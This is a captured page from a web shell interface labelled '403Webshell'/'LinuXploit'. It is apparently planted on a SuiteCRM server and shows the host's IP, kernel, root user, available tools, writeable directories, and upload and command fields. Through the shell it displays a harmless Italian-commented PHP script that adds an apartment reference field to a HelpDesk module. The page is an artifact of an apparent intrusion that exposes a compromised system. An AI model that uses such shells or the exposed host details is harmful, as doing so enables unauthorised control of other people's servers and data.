403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/crm_easylife/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/crm_easylife/add_field_one_to_many.php
<?php
include_once 'vtlib/Vtiger/Module.php';

echo "Inizio dello script...\n";

// Ottieni l'istanza del modulo HelpDesk
$helpDeskModule = Vtiger_Module::getInstance('HelpDesk');
if ($helpDeskModule) {
    echo "Modulo HelpDesk trovato.\n";
} else {
    die("Errore: Modulo HelpDesk non trovato.\n");
}

// Ottieni l'istanza del blocco
$block = Vtiger_Block::getInstance('LBL_TICKET_INFORMATION', $helpDeskModule);
if ($block) {
    echo "Blocco LBL_TICKET_INFORMATION trovato in HelpDesk.\n";
} else {
    die("Errore: Blocco LBL_TICKET_INFORMATION non trovato in HelpDesk.\n");
}

$field = new Vtiger_Field();
$field->name = 'appartamentiRef';
$field->label = 'Appartamento';
$field->uitype = 10;
$field->column = $field->name;
$field->columntype = 'INT(19)';
$field->typeofdata = 'V~O';
$field->quickcreate = 0;
$field->masseditable = 0;
$field->sequence = 999; // Assegna un numero di sequenza elevato per posizionare il campo alla fine

$block->addField($field);
if ($field) {
    echo "Campo 'appartamentiRef' aggiunto con successo a HelpDesk.\n";

    $field->setRelatedModules(array('Appartamenti'));
    echo "Modulo Appartamenti impostato come modulo correlato.\n";
} else {
    echo "Errore: Impossibile aggiungere il campo 'appartamentiRef' a HelpDesk.\n";
}

echo "Fine dello script.\n";
?>

Youez - 2016 - github.com/yon3zu
LinuXploit